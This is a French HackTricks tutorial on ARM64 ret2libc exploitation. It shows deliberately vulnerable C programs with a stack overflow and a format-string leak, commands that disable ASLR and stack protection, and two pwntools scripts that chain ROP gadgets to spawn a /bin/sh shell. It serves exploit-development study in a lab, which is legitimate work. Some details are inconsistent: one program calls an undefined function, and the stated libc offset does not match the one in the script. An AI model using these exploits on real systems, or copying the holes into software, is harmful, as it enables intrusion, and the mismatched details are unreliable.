Ret2lib + Printf leak - ARM64
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Ret2lib - NX bypass with ROP (no ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Compiler sans canary :
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Trouver l’offset - x30 offset
En créant un pattern avec pattern create 200, en l’utilisant et en vérifiant l’offset avec pattern search $x30, on voit que l’offset est 108 (0x6c).
.png)
En regardant la fonction main désassemblée, on voit que nous souhaitons sauter vers l’instruction qui appelle directement printf, dont l’offset par rapport à l’endroit où le binaire est chargé est 0x860 :
.png)
Trouver system et la chaîne /bin/sh
Comme l’ASLR est désactivé, les adresses seront toujours les mêmes :
.png)
Trouver des gadgets
Nous devons placer dans x0 l’adresse de la chaîne /bin/sh et appeler system.
En utilisant rooper, un gadget intéressant a été trouvé:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
Ce gadget chargera x0 depuis $sp + 0x18 puis chargera les adresses x29 et x30 depuis sp et sautera vers x30. Ainsi, avec ce gadget nous pouvons contrôler le premier argument puis sauter vers system.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE bypass avec printf leaks depuis la stack
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Compiler sans canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE et ASLR mais pas de canary
- Tour 1 :
- Leak de PIE depuis la stack
- Abuser du bof pour revenir à main
- Tour 2 :
- Leak de libc depuis la stack
- ROP : ret2system
Printf leaks
En plaçant un breakpoint avant l’appel à printf, il est possible de voir qu’il y a des adresses de retour vers le binaire sur la stack ainsi que des adresses libc :
.png)
En testant différents offsets, les %21$p peut leak une adresse du binaire (contournement PIE) et %25$p peut leak une adresse libc :
.png)
En soustrayant l’adresse libc leakée de l’adresse de base de libc, on peut voir que l’offset de l’adresse leakée depuis la base est 0x49c40.
x30 offset
Voir l’exemple précédent puisque le bof est le même.
Trouver des gadgets
Comme dans l’exemple précédent, nous devons avoir dans x0 l’adresse de la chaîne /bin/sh et appeler system.
En utilisant rooper, un autre gadget intéressant a été trouvé:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
Ce gadget chargera x0 depuis $sp + 0x78, puis chargera les adresses x29 et x30 depuis sp et sautera vers x30. Ainsi, avec ce gadget nous pouvons contrôler le premier argument puis sauter vers system.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


